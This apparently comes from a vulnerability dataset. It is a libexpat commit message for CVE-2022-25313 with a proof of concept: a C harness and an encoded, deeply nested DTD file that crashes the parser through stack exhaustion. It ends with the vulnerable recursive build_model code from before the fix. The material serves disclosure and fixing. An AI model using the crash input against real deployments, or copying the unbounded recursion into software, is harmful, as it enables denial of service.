Commit message: Prevent stack exhaustion in build_model

It is possible to trigger stack exhaustion in build_model function if
depth of nested children in DTD element is large enough. This happens
because build_node is a recursively called function within build_model.

The code has been adjusted to run iteratively. It uses the already
allocated heap space as temporary stack (growing from top to bottom).

Output is identical to recursive version. No new fields in data
structures were added, i.e. it keeps full API and ABI compatibility.
Instead the numchildren variable is used to temporarily keep the
index of items (uint vs int).

Documentation and readability improvements kindly added by Sebastian.

Proof of Concept:

1. Compile poc binary which parses XML file line by line

```
cat > poc.c << EOF
 #include <err.h>
 #include <expat.h>
 #include <stdio.h>

 XML_Parser parser;

 static void XMLCALL
 dummy_element_decl_handler(void *userData, const XML_Char *name,
                            XML_Content *model) {
   XML_FreeContentModel(parser, model);
 }

 int main(int argc, char *argv[]) {
   FILE *fp;
   char *p = NULL;
   size_t s = 0;
   ssize_t l;
   if (argc != 2)
     errx(1, "usage: poc poc.xml");
   if ((parser = XML_ParserCreate(NULL)) == NULL)
     errx(1, "XML_ParserCreate");
   XML_SetElementDeclHandler(parser, dummy_element_decl_handler);
   if ((fp = fopen(argv[1], "r")) == NULL)
     err(1, "fopen");
   while ((l = getline(&p, &s, fp)) > 0)
     if (XML_Parse(parser, p, (int)l, XML_FALSE) != XML_STATUS_OK)
       errx(1, "XML_Parse");
   XML_ParserFree(parser);
   free(p);
   fclose(fp);
   return 0;
 }
EOF
cc -std=c11 -D_POSIX_C_SOURCE=200809L -lexpat -o poc poc.c
```

2. Create XML file with a lot of nested groups in DTD element

```
cat > poc.xml.zst.b64 << EOF
KLUv/aQkACAAPAEA+DwhRE9DVFlQRSB1d3UgWwo8IUVMRU1FTlQgdXd1CigBAHv/58AJAgAQKAIA
ECgCABAoAgAQKAIAECgCABAoAgAQKHwAAChvd28KKQIA2/8gV24XBAIAECkCABApAgAQKQIAECkC
ABApAgAQKQIAEClVAAAgPl0+CgEA4A4I2VwwnQ==
EOF
base64 -d poc.xml.zst.b64 | zstd -d > poc.xml
```

3. Run Proof of Concept

```
./poc poc.xml
```

Co-authored-by: Sebastian Pipping <sebastian@pipping.org>
CVE: CVE-2022-25313
CWE: CWE-703
Vulnerability description: In Expat (aka libexpat) before 2.4.5, an attacker can trigger stack exhaustion in build_model via a large nesting depth in the DTD element.

Project: libexpat
File: xmlparse.c

build_model(XML_Parser parser) {
  DTD *const dtd = parser->m_dtd; /* save one level of indirection */
  XML_Content *ret;
  XML_Content *cpos;
  XML_Char *str;

  /* Detect and prevent integer overflow.
   * The preprocessor guard addresses the "always false" warning
   * from -Wtype-limits on platforms where
   * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
#if UINT_MAX >= SIZE_MAX
  if (dtd->scaffCount > (size_t)(-1) / sizeof(XML_Content)) {
    return NULL;
  }
  if (dtd->contentStringLen > (size_t)(-1) / sizeof(XML_Char)) {
    return NULL;
  }
#endif
  if (dtd->scaffCount * sizeof(XML_Content)
      > (size_t)(-1) - dtd->contentStringLen * sizeof(XML_Char)) {
    return NULL;
  }

  const size_t allocsize = (dtd->scaffCount * sizeof(XML_Content)
                            + (dtd->contentStringLen * sizeof(XML_Char)));

  ret = (XML_Content *)MALLOC(parser, allocsize);
  if (! ret)
    return NULL;

  str = (XML_Char *)(&ret[dtd->scaffCount]);
  cpos = &ret[1];

  build_node(parser, 0, ret, &cpos, &str);
  return ret;
}